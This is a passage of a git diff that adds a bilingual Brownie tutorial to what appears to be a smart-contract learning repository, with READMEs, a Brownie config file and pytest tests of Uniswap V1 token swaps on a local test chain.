+    print("Account " + w3.eth.accounts[5] + ", Mint Role : ", contract.functions.hasRole(contract.functions.MINTER_ROLE().call(), w3.eth.accounts[5]).call())
+    #print(w3.toHex(contract.functions.getRoleAdmin(contract.functions.MINTER_ROLE().call()).call()))
+
+    # 2. 进行铸币，
+    # 开始前查看所有账户的Token数量
+    print('\n2. ---- check and mint')
+    print("Before Mint")
+    minter_role = contract.functions.MINTER_ROLE().call()
+    for acc in w3.eth.accounts:
+        print("Account " + acc + " Tokens Balance :" + str(contract.functions.balanceOf(acc).call()), ", Mint Role: " + str(contract.functions.hasRole(minter_role, acc).call()))
+
+    # 3. 设置权限，现在默认管理员是合约的创建者accounts[0]
+    # accounts[0]能赋予任何一个账户minter的角色，包括它自己
+    # 使用AccessControl提供的grantRole接口进行授权，发起人是管理员
+    grant_role = contract.functions.MINTER_ROLE().call()
+    tx_hash = contract.functions.grantRole(role=grant_role, account=w3.eth.accounts[5]).transact({"from":w3.eth.accounts[0]})
+
+    # give everyone 10 Tokens
+    print("\nAfter Mint")
+    for acc in w3.eth.accounts:
+        contract.functions.mint(to=acc, amount=10).transact({'from': w3.eth.accounts[5]})
+        print("Account " + acc + " Tokens Balance :" + str(contract.functions.balanceOf(acc).call()), ", Mint Role: " + str(contract.functions.hasRole(minter_role, acc).call()))
+
+
+if __name__ =='__main__':
+    main()
\ No newline at end of file
diff --git a/basic/19-brownie/.gitignore b/basic/19-brownie/.gitignore
new file mode 100644
index 000000000..ed8b08c7b
--- /dev/null
+++ b/basic/19-brownie/.gitignore
@@ -0,0 +1,2 @@
+build/
+.pytest_cache/
\ No newline at end of file
diff --git a/basic/19-brownie/README-CN.md b/basic/19-brownie/README-CN.md
new file mode 100644
index 000000000..4ffaf5425
--- /dev/null
+++ b/basic/19-brownie/README-CN.md
@@ -0,0 +1,161 @@
+中文 / [English](./README.md)
+# Brownie
+
+[Brownie](https://github.com/eth-brownie/brownie) 是一个基于 Python 针对以太坊虚拟机的智能合约的开发和测试框架。
+
+## Brownie 的使用
+
+使用 Brownie 来运行 uniswapv1 的 test cases，基于 Brownie 的特性对原有的 uniswapv1 项目的 test 进行了重新编写，并且加入了详细的注释
+
+### 安装 Brownie
+
+- 安装依赖 Brownie
+
+```sh
+pip3 install eth-brownie
+```
+
+在终端中运行 brownie，应该可以看到类似下面这样的输出：
+
+```sh
+Brownie v1.18.1 - Python development framework for Ethereum
+Usage:  brownie <command> [<args>...] [options <args>]
+
+Commands:
+  init               Initialize a new brownie project
+  bake               Initialize from a brownie-mix template
+  pm                 Install and manage external packages
+  compile            Compile the contract source files
+  console            Load the console
+  test               Run test cases in the tests/ folder
+  run                Run a script in the scripts/ folder
+  accounts           Manage local accounts
+  networks           Manage network settings
+  gui                Load the GUI to view opcodes and test coverage
+  analyze            Find security vulnerabilities using the MythX API
+
+Options:
+  --help -h          Display this message
+  --version          Show version and exit
+
+Type 'brownie <command> --help' for specific options and more information about
+each command.
+```
+
+### Interacting with your Contracts
+
+brownie 调试控制台，可以和链上合约进行交互操作
+
+```sh
+cd ./brownie_test
+brownie console
+```
+
+brownie 会自动编译合约，并启动一个内置的 Ganache 本地测试网络，最后提供一个可实时交互的控制台
+
+```sh
+accounts[0]
+# <Account '0x66aB6D9362d4F35596279692F0251Db635165871'>
+```
+
+我们尝试直接在控制部署一个 ERC20 token，并进行简单的交互
+
+```sh
+my_token = SimpleToken.deploy("DappLearning", "DL", 18, 0, {"from": accounts[0]})
+
+# Transaction sent: 0x85f8c323e312cb49384eac81172de9bd54901a68d28263e22c3f4689af14d197
+#   Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 0
+#   SimpleToken.constructor confirmed - Block: 1   Gas used: 1843102 (15.36%)
+#   SimpleToken deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
+```
+
+`my_token` 将缓存部署的token合约对象，我们来尝试进行交互
+
+```sh
+tx1=my_token.mint(accounts[0].address, 1000000*10**18, {'from': accounts[0]})
+# Transaction sent: 0xcdd7...
+
+tx1.events
+# {'Transfer': [OrderedDict([('from', '0x0000000000000000000000000000000000000000'), ('to', '0x66aB6D9362d4F35596279692F0251Db635165871'), ('value', 1000000000000000000000000)])]}
+
+history[-1]==tx1
+# True
+
+my_token.balanceOf(accounts[0].address)
+# 1000000000000000000000000
+```
+
+### 编译合约
+
+```sh
+cd brownie_test
+brownie compile
+```
+
+### 测试合约
+
+```sh
+brownie test
+```
+
+### 执行脚本
+
+```sh
+brownie run *.py --network goerli
+```
+
+## pytest
+
+Brownie 推荐使用 pytest 编写测试案例。
+
+- [pytest documents](https://docs.pytest.org/en/latest/)
+
+### Brownie Pytest Fixtures
+
+Fixtures 是 pytest 应用于一个或多个测试函数的函数，并在执行每个测试之前被调用。Fixtures 用于设置测试所需的初始条件。
+
+Brownie 提供了简化与项目交互和测试的 Fixtures。大多数核心功能可以通过 Fixures 而不是 import 语句来访问。例如，这是使用 Brownie 的 Fixtures 而不是 import 的示例：
+
+```python
+import pytest
+
+@pytest.fixture
+def token(Token, accounts):
+    return accounts[0].deploy(Token, "Dapp-Learning", "DL", 18, 1000)
+
+def test_transfer(token, accounts):
+    token.transfer(accounts[1], 100, {'from': accounts[0]})
+    assert token.balanceOf(accounts[0]) == 900
+```
+
+### conftest.py
+
+我们可以把通用的 Fixuters 函数放到 `conftest.py` 文件中，pytest 测试框架会在每个测试案例开始之前，自动加载其中的 Fixtures。
+
+```python
+# ./conftest.py
+
+@pytest.fixture
+def DL_token():
+    SimpleToken.deploy("Dapp-Learning", "DL", 18, 0, {"from": accounts[0]})
+   ...
+```
+
+```python
+# ./test_eth_to_token.py
+
+def test_eth_to_token_swap(DL_token):
+    DL_token.approve(some_address, 10 * 10**18, {"from": accounts[0]})
+    ...
+```
+
+
+## 参考链接
+
+- brownie 官网: <https://eth-brownie.readthedocs.io/en/stable/toctree.html>
+- 旧版 Uniswap 合约: <https://github.com/Uniswap/old-solidity-contracts>
+- Uniswap V1 合约: <https://github.com/Uniswap/uniswap-v1/tree/master/tests>
+- brownie pdf 文档: <https://readthedocs.org/projects/eth-brownie/downloads/pdf/v1.3.1_a/>
+- pytest 教程: <https://zhuanlan.zhihu.com/p/87775743>
+- vyper 官网: <https://vyper.readthedocs.io/en/stable>
+- Brownie Tutorial by Curve Finance： <https://www.youtube.com/watch?v=nkvIFE2QVp0&list=PLVOHzVzbg7bFUaOGwN0NOgkTItUAVyBBQ>
diff --git a/basic/19-brownie/README.md b/basic/19-brownie/README.md
new file mode 100644
index 000000000..178d29af6
--- /dev/null
+++ b/basic/19-brownie/README.md
@@ -0,0 +1,161 @@
+[中文](./README-CN.md) / English
+# Brownie
+
+[Brownie](https://github.com/eth-brownie/brownie) is a Python-based smart contract development and testing framework for the Ethereum Virtual Machine.
+
+## Usage of Brownie
+Use Brownie to run the test cases of uniswapv1, based on the features of Brownie rewrite the test of the original uniswapv1 project, and add detailed comments
+
+### Install Brownie
+
+- Install dependencies Brownie
+
+```sh
+pip3 install eth-brownie
+```
+
+Run the` brownie` command in the terminal and you should see an output similar to the following:
+```sh
+Brownie v1.18.1 - Python development framework for Ethereum
+Usage:  brownie <command> [<args>...] [options <args>]
+
+Commands:
+  init               Initialize a new brownie project
+  bake               Initialize from a brownie-mix template
+  pm                 Install and manage external packages
+  compile            Compile the contract source files
+  console            Load the console
+  test               Run test cases in the tests/ folder
+  run                Run a script in the scripts/ folder
+  accounts           Manage local accounts
+  networks           Manage network settings
+  gui                Load the GUI to view opcodes and test coverage
+  analyze            Find security vulnerabilities using the MythX API
+
+Options:
+  --help -h          Display this message
+  --version          Show version and exit
+
+Type 'brownie <command> --help' for specific options and more information about
+each command.
+```
+
+### Interacting with your Contracts
+
+brownie debug console that can interact with on-chain contracts
+
+```sh
+cd ./brownie_test
+brownie console
+```
+
+brownie will automatically compile the contract, start a built-in Ganache local test network, and provide a live interactive console finally
+
+```sh
+accounts[0]
+# <Account '0x66aB6D9362d4F35596279692F0251Db635165871'>
+```
+
+Let's try to deploy an ERC20 token right in the control and perform simple interactions
+
+```sh
+my_token = SimpleToken.deploy("DappLearning", "DL", 18, 0, {"from": accounts[0]})
+
+# Transaction sent: 0x85f8c323e312cb49384eac81172de9bd54901a68d28263e22c3f4689af14d197
+#   Gas price: 0.0 gwei   Gas limit: 12000000   Nonce: 0
+#   SimpleToken.constructor confirmed - Block: 1   Gas used: 1843102 (15.36%)
+#   SimpleToken deployed at: 0x3194cBDC3dbcd3E11a07892e7bA5c3394048Cc87
+```
+
+`my_token` will cache the deployed token contract object, and now we try to interact
+
+```sh
+tx1=my_token.mint(accounts[0].address, 1000000*10**18, {'from': accounts[0]})
+# Transaction sent: 0xcdd7...
+
+tx1.events
+# {'Transfer': [OrderedDict([('from', '0x0000000000000000000000000000000000000000'), ('to', '0x66aB6D9362d4F35596279692F0251Db635165871'), ('value', 1000000000000000000000000)])]}
+
+history[-1]==tx1
+# True
+
+my_token.balanceOf(accounts[0].address)
+# 1000000000000000000000000
+```
+
+### Compile the contract
+
+```sh
+cd brownie_test
+brownie compile
+```
+
+### Test contract
+
+```sh
+brownie test
+```
+
+### execute script
+如果编写了自己的脚本，可以执行如下命令执行脚本
+```sh
+## 设置 INFURA 环境变量，其中 xxx 替换为真实的 INFURA_ID 后执行
+export WEB3_INFURA_PROJECT_ID=xxx
+brownie run *.py --network goerli
+```
+
+## pytest
+
+Brownie recommends using pytest to write test cases.
+
+- [pytest documents](https://docs.pytest.org/en/latest/)
+
+### Brownie Pytest Fixtures
+
+Fixtures are functions that pytest applies to one or more test functions and are called before each test is executed. Fixtures are used to set the initial conditions required for testing.
+
+Brownie provides Fixtures that simplify interaction and testing with projects. Most of the core functionality can be accessed through Fixures instead of import statements. Here's an example using Brownie's Fixtures instead of import:
+
+```python
+import pytest
+
+@pytest.fixture
+def token(Token, accounts):
+    return accounts[0].deploy(Token, "Dapp-Learning", "DL", 18, 1000)
+
+def test_transfer(token, accounts):
+    token.transfer(accounts[1], 100, {'from': accounts[0]})
+    assert token.balanceOf(accounts[0]) == 900
+```
+
+### conftest.py
+
+We can put the generic Fixuters function in the `conftest.py` file, and the pytest testing framework will automatically load the Fixtures in it before each test case starts.
+
+```python
+# ./conftest.py
+
+@pytest.fixture
+def DL_token():
+    SimpleToken.deploy("Dapp-Learning", "DL", 18, 0, {"from": accounts[0]})
+   ...
+```
+
+```python
+# ./test_eth_to_token.py
+
+def test_eth_to_token_swap(DL_token):
+    DL_token.approve(some_address, 10 * 10**18, {"from": accounts[0]})
+    ...
+```
+
+## Reference link
+
+- brownie official website: <https://eth-brownie.readthedocs.io/en/stable/toctree.html>
+- Previous Uniswap contracts: <https://github.com/Uniswap/old-solidity-contracts>
+- Uniswap V1 contract: <https://github.com/Uniswap/uniswap-v1/tree/master/tests>
+- brownie pdf documentation: <https://readthedocs.org/projects/eth-brownie/downloads/pdf/v1.3.1_a/>
+- pytest tutorial: <https://zhuanlan.zhihu.com/p/87775743>
+- vyper official website: <https://vyper.readthedocs.io/en/stable>
+- Brownie Tutorial by Curve Finance: <https://www.youtube.com/watch?v=nkvIFE2QVp0&list=PLVOHzVzbg7bFUaOGwN0NOgkTItUAVyBBQ>
+
diff --git a/basic/19-brownie/brownie_test/.gitattributes b/basic/19-brownie/brownie_test/.gitattributes
new file mode 100644
index 000000000..adb20fe26
--- /dev/null
+++ b/basic/19-brownie/brownie_test/.gitattributes
@@ -0,0 +1,2 @@
+*.sol linguist-language=Solidity
+*.vy linguist-language=Python
diff --git a/basic/19-brownie/brownie_test/.gitignore b/basic/19-brownie/brownie_test/.gitignore
new file mode 100644
index 000000000..898188a78
--- /dev/null
+++ b/basic/19-brownie/brownie_test/.gitignore
@@ -0,0 +1,6 @@
+__pycache__
+.env
+.history
+.hypothesis/
+build/
+reports/
diff --git a/basic/19-brownie/brownie_test/brwonie-config.yaml b/basic/19-brownie/brownie_test/brwonie-config.yaml
new file mode 100644
index 000000000..058cf5036
--- /dev/null
+++ b/basic/19-brownie/brownie_test/brwonie-config.yaml
@@ -0,0 +1,67 @@
+# Brownie Configuration File
+project_structure:
+    build: build
+    contracts: contracts
+    interfaces: interfaces
+    reports: reports
+    scripts: scripts
+    tests: tests
+
+networks:
+    default: development
+    development:
+        gas_limit: max
+        gas_buffer: 1
+        gas_price: 0
+        max_fee: null
+        priority_fee: null
+        reverting_tx_gas_limit: max
+        default_contract_owner: true
+        cmd_settings: null
+    live:
+        gas_limit: auto
+        gas_buffer: 1.1
+        gas_price: auto
+        max_fee: null
+        priority_fee: null
+        reverting_tx_gas_limit: false
+        default_contract_owner: false
+
+compiler:
+    evm_version: null
+    solc:
+        version: null
+        optimizer:
+            enabled: true
+            runs: 200
+        remappings: null
+    vyper:
+        version: null
+
+console:
+    show_colors: true
+    color_style: monokai
+    auto_suggest: true
+    completions: true
+    editing_mode: emacs
+
+reports:
+    exclude_paths: null
+    exclude_contracts: null
+    only_include_project: true
+
+hypothesis:
+    deadline: null
+    max_examples: 50
+    report_multiple_bugs: False
+    stateful_step_count: 10
+    phases:
+        explicit: true
+        reuse: true
+        generate: true
+        target: true
+        shrink: true
+
+autofetch_sources: false
+dependencies: null
+dev_deployment_artifacts: false
\ No newline at end of file
diff --git a/Example19-brownie/contracts/Exchange/ERC20Interface.sol b/basic/19-brownie/brownie_test/contracts/Exchange/ERC20Interface.sol
similarity index 100%
rename from Example19-brownie/contracts/Exchange/ERC20Interface.sol
rename to basic/19-brownie/brownie_test/contracts/Exchange/ERC20Interface.sol
diff --git a/Example19-brownie/contracts/Exchange/SafeMath.sol b/basic/19-brownie/brownie_test/contracts/Exchange/SafeMath.sol
similarity index 100%
rename from Example19-brownie/contracts/Exchange/SafeMath.sol
rename to basic/19-brownie/brownie_test/contracts/Exchange/SafeMath.sol
diff --git a/Example19-brownie/contracts/Exchange/UniswapExchange.sol b/basic/19-brownie/brownie_test/contracts/Exchange/UniswapExchange.sol
similarity index 100%
rename from Example19-brownie/contracts/Exchange/UniswapExchange.sol
rename to basic/19-brownie/brownie_test/contracts/Exchange/UniswapExchange.sol
diff --git a/Example13-exhange/contracts/uniswap-v1/Exchange/UniswapFactory.sol b/basic/19-brownie/brownie_test/contracts/Exchange/UniswapFactory.sol
similarity index 100%
rename from Example13-exhange/contracts/uniswap-v1/Exchange/UniswapFactory.sol
rename to basic/19-brownie/brownie_test/contracts/Exchange/UniswapFactory.sol
diff --git a/Example08-hardhat-graph/contracts/SimpleToken.sol b/basic/19-brownie/brownie_test/contracts/Token/SimpleToken.sol
similarity index 100%
rename from Example08-hardhat-graph/contracts/SimpleToken.sol
rename to basic/19-brownie/brownie_test/contracts/Token/SimpleToken.sol
diff --git a/basic/19-brownie/brownie_test/tests/conftest.py b/basic/19-brownie/brownie_test/tests/conftest.py
new file mode 100644
index 000000000..c3cf7c990
--- /dev/null
+++ b/basic/19-brownie/brownie_test/tests/conftest.py
@@ -0,0 +1,54 @@
+import pytest
+from brownie import SimpleToken, UniswapFactory, accounts, Contract, UniswapExchange
+
+# reference to .
+# https://github.com/Uniswap/uniswap-v1/blob/master/tests/conftest.py
+# brownie made the contract deploying thing easier but hard to understand
+
+@pytest.fixture
+def HAY_token():
+    t = SimpleToken.deploy("HAYAHEI", "HAY", 18, 0, {"from": accounts[0]})
+    # print(w3.eth.accounts[0])
+
+    # mint 500 to account0 and account1, respectively
+    t.mint(accounts[0], 500 * 10**18, {"from": accounts[0]})
+    t.mint(accounts[1], 500 * 10**18, {"from": accounts[0]})
+
+    return t
+
+
+@pytest.fixture
+def BEE_token():
+    t = SimpleToken.deploy("BEEEEEE", "BEE", 18, 0, {"from": accounts[0]})
+    # print(w3.eth.accounts[0])
+
+    # mint 500 to account0 and account1, respectively
+    t.mint(accounts[0], 500 * 10**18, {"from": accounts[0]})
+    t.mint(accounts[1], 500 * 10**18, {"from": accounts[0]})
+
+    return t
+
+
+@pytest.fixture
+def uniswap_factory():
+    t = UniswapFactory.deploy({"from": accounts[0]})
+
+    return t
+
+
+@pytest.fixture
+def hay_token_exchange(uniswap_factory, HAY_token):
+    transaction_receipt = uniswap_factory.launchExchange(HAY_token)
+    hay_token_exchange_address = uniswap_factory.tokenToExchangeLookup(HAY_token)
+
+    HTExchange = Contract.from_abi("", hay_token_exchange_address, UniswapExchange.abi)
+    return HTExchange
+
+
+@pytest.fixture
+def bee_token_exchange(uniswap_factory, BEE_token):
+    transaction_receipt = uniswap_factory.launchExchange(BEE_token)
+    bee_token_exchange_address = uniswap_factory.tokenToExchangeLookup(BEE_token)
+
+    BEExchange = Contract.from_abi("", bee_token_exchange_address, UniswapExchange.abi)
+    return BEExchange
diff --git a/Example19-brownie/tests/exchange/test_eth_to_token.py b/basic/19-brownie/brownie_test/tests/exchange/test_eth_to_token.py
similarity index 84%
rename from Example19-brownie/tests/exchange/test_eth_to_token.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_eth_to_token.py
index 2752cf482..66b70f075 100644
--- a/Example19-brownie/tests/exchange/test_eth_to_token.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_eth_to_token.py
@@ -1,15 +1,14 @@
-from brownie import accounts
-import brownie
+from brownie import (accounts, web3)
 
 
-def test_eth_to_token_swap(w3, HAY_token, hay_token_exchange):
+def test_eth_to_token_swap(HAY_token, hay_token_exchange):
     HAY_token.approve(hay_token_exchange, 10 * 10**18, {"from": accounts[0]})
 
     # step 1: initialize exchange
     hay_token_exchange.initializeExchange(10 * 10**18, {"from": accounts[0], "amount": 5 * 10**18})
 
     # the swap function needs a timeout parameter
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
     assert HAY_token.balanceOf(accounts[2]) == 0
 
     hay_token_exchange.ethToTokenSwap(1, timeout, {"from": accounts[2], "amount": 1 * 10**18})
@@ -27,41 +26,41 @@ def test_eth_to_token_swap(w3, HAY_token, hay_token_exchange):
     #   Token Pool = 8336112037345781927
     #   ETH pool = 6 * 10**18
     assert hay_token_exchange.ethPool() == 6 * 10**18
-    assert w3.eth.get_balance(hay_token_exchange.address) == 6 * 10**18
+    assert web3.eth.getBalance(hay_token_exchange.address) == 6 * 10**18
     assert hay_token_exchange.tokenPool() == 8336112037345781927
     assert HAY_token.balanceOf(hay_token_exchange) == 8336112037345781927
     assert hay_token_exchange.invariant() == 50016672224074691562000000000000000000
     assert HAY_token.balanceOf(accounts[2]) == 1663887962654218073
 
 
-def test_fallback_eth_to_token_swap(w3, HAY_token, hay_token_exchange):
+def test_fallback_eth_to_token_swap(HAY_token, hay_token_exchange):
     # 测试uniswap exchange合约的默认fallback函数，即直接往这个地址转入eth，则默认是用ETH换取TOKEN的操作
     HAY_token.approve(hay_token_exchange, 10 * 10**18, {"from": accounts[0]})
 
     # step 1: initialize exchange
     hay_token_exchange.initializeExchange(10 * 10**18, {"from": accounts[0], "amount": 5 * 10**18})
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # step 2: use accounts[2] to do the test
     assert HAY_token.balanceOf(accounts[2]) == 0
     accounts[2].transfer(hay_token_exchange, 1 * 10**18)
 
     assert hay_token_exchange.ethPool() == 6 * 10 ** 18
-    assert w3.eth.get_balance(hay_token_exchange.address) == 6 * 10 ** 18
+    assert web3.eth.getBalance(hay_token_exchange.address) == 6 * 10 ** 18
     assert hay_token_exchange.tokenPool() == 8336112037345781927
     assert HAY_token.balanceOf(hay_token_exchange) == 8336112037345781927
     assert hay_token_exchange.invariant() == 50016672224074691562000000000000000000
     assert HAY_token.balanceOf(accounts[2]) == 1663887962654218073
 
 
-def test_eth_to_token_payment(w3, HAY_token, hay_token_exchange):
+def test_eth_to_token_payment(HAY_token, hay_token_exchange):
     # 测试eth2token payment函数，与swap函数不同的点是receipt是另一个地址
     # 用accounts[2]的ETH取exchange中交易，交易所得TOken发往accounts[3]
     HAY_token.approve(hay_token_exchange, 10 * 10 ** 18, {"from": accounts[0]})
 
     # step 1: initialize exchange
     hay_token_exchange.initializeExchange(10 * 10 ** 18, {"from": accounts[0], "amount": 5 * 10 ** 18})
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # 开始的两个地址的TOken数量都为0
     assert HAY_token.balanceOf(accounts[2]) == 0
@@ -70,7 +69,7 @@ def test_eth_to_token_payment(w3, HAY_token, hay_token_exchange):
     hay_token_exchange.ethToTokenPayment(1, timeout, accounts[3], {"from": accounts[2], "amount": 1 * 10**18})
 
     assert hay_token_exchange.ethPool() == 6 * 10 ** 18
-    assert w3.eth.get_balance(hay_token_exchange.address) == 6 * 10 ** 18
+    assert web3.eth.getBalance(hay_token_exchange.address) == 6 * 10 ** 18
     assert hay_token_exchange.tokenPool() == 8336112037345781927
     assert HAY_token.balanceOf(hay_token_exchange) == 8336112037345781927
     assert hay_token_exchange.invariant() == 50016672224074691562000000000000000000
diff --git a/Example19-brownie/tests/exchange/test_factory.py b/basic/19-brownie/brownie_test/tests/exchange/test_factory.py
similarity index 95%
rename from Example19-brownie/tests/exchange/test_factory.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_factory.py
index 45a50262c..d9aa10022 100644
--- a/Example19-brownie/tests/exchange/test_factory.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_factory.py
@@ -1,6 +1,6 @@
 from brownie import accounts, UniswapExchange, Contract
 
-def test_factory(w3, HAY_token, BEE_token, uniswap_factory):
+def test_factory(HAY_token, BEE_token, uniswap_factory):
     assert uniswap_factory.getExchangeCount() == 0
 
     # brownie中Contract调用transact方法时返回的是receipt，需要使用return_value来获取值
diff --git a/Example19-brownie/tests/exchange/test_investment.py b/basic/19-brownie/brownie_test/tests/exchange/test_investment.py
similarity index 99%
rename from Example19-brownie/tests/exchange/test_investment.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_investment.py
index a13937cb3..cc6ef6774 100644
--- a/Example19-brownie/tests/exchange/test_investment.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_investment.py
@@ -1,4 +1,4 @@
-from brownie import accounts
+from brownie import (accounts, web3)
 import brownie
 
 
diff --git a/Example19-brownie/tests/exchange/test_token.py b/basic/19-brownie/brownie_test/tests/exchange/test_token.py
similarity index 96%
rename from Example19-brownie/tests/exchange/test_token.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_token.py
index 80170bffc..57223af8d 100644
--- a/Example19-brownie/tests/exchange/test_token.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_token.py
@@ -1,4 +1,4 @@
-from brownie import accounts
+from brownie import (accounts, web3)
 
 
 def test_initial_state(HAY_token):
diff --git a/Example19-brownie/tests/exchange/test_token_to_eth.py b/basic/19-brownie/brownie_test/tests/exchange/test_token_to_eth.py
similarity index 86%
rename from Example19-brownie/tests/exchange/test_token_to_eth.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_token_to_eth.py
index eff2c8c11..267a7037a 100644
--- a/Example19-brownie/tests/exchange/test_token_to_eth.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_token_to_eth.py
@@ -1,15 +1,14 @@
-from brownie import accounts
-import brownie
+from brownie import (accounts, web3)
 
 
-def test_token_to_eth_swap(w3, HAY_token, hay_token_exchange):
+def test_token_to_eth_swap(HAY_token, hay_token_exchange):
     HAY_token.approve(hay_token_exchange, 10 * 10 ** 18, {"from": accounts[0]})
 
     # step 1: initialize exchange
     hay_token_exchange.initializeExchange(10 * 10 ** 18, {"from": accounts[0], "amount": 5 * 10 ** 18})
 
     # the swap function needs a timeout parameter
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # step 2: 用account[1]的token来进行token 2 eth的操作
     HAY_token.approve(hay_token_exchange, 2 * 10 ** 18, {"from": accounts[1]})
@@ -34,20 +33,20 @@ def test_token_to_eth_swap(w3, HAY_token, hay_token_exchange):
     assert hay_token_exchange.tokenPool() == 12 * 10**18
     assert HAY_token.balanceOf(hay_token_exchange) == 12 * 10**18
     assert hay_token_exchange.ethPool() == 4168056018672890963
-    assert w3.eth.get_balance(hay_token_exchange.address) == 4168056018672890963
+    assert web3.eth.getBalance(hay_token_exchange.address) == 4168056018672890963
     assert hay_token_exchange.invariant() == 50016672224074691556000000000000000000
     assert accounts[1].balance() == account1_eth_balance + 831943981327109037
     assert HAY_token.balanceOf(accounts[1]) == 498 * 10**18
 
 
-def test_token_to_eth_payment(w3, HAY_token, hay_token_exchange):
+def test_token_to_eth_payment(HAY_token, hay_token_exchange):
     HAY_token.approve(hay_token_exchange, 10 * 10 ** 18, {"from": accounts[0]})
 
     # step 1: initialize exchange
     hay_token_exchange.initializeExchange(10 * 10 ** 18, {"from": accounts[0], "amount": 5 * 10 ** 18})
 
     # the swap function needs a timeout parameter
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # step 2: 用account[1]的token来进行token 2 eth的操作, receipt为account[2]
     HAY_token.approve(hay_token_exchange, 2 * 10 ** 18, {"from": accounts[1]})
@@ -62,7 +61,7 @@ def test_token_to_eth_payment(w3, HAY_token, hay_token_exchange):
     assert hay_token_exchange.tokenPool() == 12 * 10 ** 18
     assert HAY_token.balanceOf(hay_token_exchange) == 12 * 10 ** 18
     assert hay_token_exchange.ethPool() == 4168056018672890963
-    assert w3.eth.get_balance(hay_token_exchange.address) == 4168056018672890963
+    assert web3.eth.getBalance(hay_token_exchange.address) == 4168056018672890963
     assert hay_token_exchange.invariant() == 50016672224074691556000000000000000000
     assert accounts[2].balance() == account2_eth_balance + 831943981327109037
     assert HAY_token.balanceOf(accounts[1]) == 498 * 10 ** 18
diff --git a/Example19-brownie/tests/exchange/test_token_to_token.py b/basic/19-brownie/brownie_test/tests/exchange/test_token_to_token.py
similarity index 88%
rename from Example19-brownie/tests/exchange/test_token_to_token.py
rename to basic/19-brownie/brownie_test/tests/exchange/test_token_to_token.py
index 8f0809c11..73343e1dd 100644
--- a/Example19-brownie/tests/exchange/test_token_to_token.py
+++ b/basic/19-brownie/brownie_test/tests/exchange/test_token_to_token.py
@@ -1,8 +1,8 @@
-from brownie import accounts
+from brownie import (accounts, web3)
 import brownie
 
 
-def test_token_to_token_swap(w3, HAY_token, BEE_token, hay_token_exchange, bee_token_exchange):
+def test_token_to_token_swap(HAY_token, BEE_token, hay_token_exchange, bee_token_exchange):
 
     HAY_token.approve(hay_token_exchange, 10 * 10**18, {"from": accounts[0]})
     BEE_token.approve(bee_token_exchange, 20 * 10**18, {"from": accounts[1]})
@@ -11,7 +11,7 @@ def test_token_to_token_swap(w3, HAY_token, BEE_token, hay_token_exchange, bee_t
     hay_token_exchange.initializeExchange(10 * 10**18, {"from": accounts[0], "amount": 5 * 10**18})
     bee_token_exchange.initializeExchange(20 * 10**18, {"from": accounts[1], "amount": 5 * 10**18})
 
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # for simplicity, mint some coin to accounts[2] which has 0 coin right now
     assert HAY_token.balanceOf(accounts[2]) == 0
@@ -34,7 +34,7 @@ def test_token_to_token_swap(w3, HAY_token, BEE_token, hay_token_exchange, bee_t
     assert hay_token_exchange.tokenPool() == 12 * 10 ** 18
     assert HAY_token.balanceOf(hay_token_exchange) == 12 * 10 ** 18
     assert hay_token_exchange.ethPool() == 4168056018672890963
-    assert w3.eth.get_balance(hay_token_exchange.address) == 4168056018672890963
+    assert web3.eth.getBalance(hay_token_exchange.address) == 4168056018672890963
     assert hay_token_exchange.invariant() == 50016672224074691556000000000000000000
     assert HAY_token.balanceOf(accounts[2]) == 0
 
@@ -55,13 +55,13 @@ def test_token_to_token_swap(w3, HAY_token, BEE_token, hay_token_exchange, bee_t
     assert bee_token_exchange.tokenPool() == 17151834628633326487
     assert bee_token_exchange.invariant() == 100028538731176018770023024800269163019
     assert BEE_token.balanceOf(bee_token_exchange) == 17151834628633326487
-    assert w3.eth.get_balance(bee_token_exchange.address) == 5831943981327109037
+    assert web3.eth.getBalance(bee_token_exchange.address) == 5831943981327109037
 
     assert BEE_token.balanceOf(accounts[2]) == 2848165371366673513
     assert accounts[2].balance() == account2_eth_balance
 
 
-def test_token_to_token_payment(w3, HAY_token, BEE_token, hay_token_exchange, bee_token_exchange):
+def test_token_to_token_payment(HAY_token, BEE_token, hay_token_exchange, bee_token_exchange):
     HAY_token.approve(hay_token_exchange, 10 * 10 ** 18, {"from": accounts[0]})
     BEE_token.approve(bee_token_exchange, 20 * 10 ** 18, {"from": accounts[1]})
 
@@ -69,7 +69,7 @@ def test_token_to_token_payment(w3, HAY_token, BEE_token, hay_token_exchange, be
     hay_token_exchange.initializeExchange(10 * 10 ** 18, {"from": accounts[0], "amount": 5 * 10 ** 18})
     bee_token_exchange.initializeExchange(20 * 10 ** 18, {"from": accounts[1], "amount": 5 * 10 ** 18})
 
-    timeout = w3.eth.getBlock(w3.eth.blockNumber).timestamp + 300
+    timeout = web3.eth.getBlock(web3.eth.blockNumber).timestamp + 300
 
     # for simplicity, mint some coin to accounts[2] which has 0 coin right now
     assert HAY_token.balanceOf(accounts[2]) == 0
@@ -91,7 +91,7 @@ def test_token_to_token_payment(w3, HAY_token, BEE_token, hay_token_exchange, be
     assert hay_token_exchange.tokenPool() == 12 * 10 ** 18
     assert HAY_token.balanceOf(hay_token_exchange) == 12 * 10 ** 18
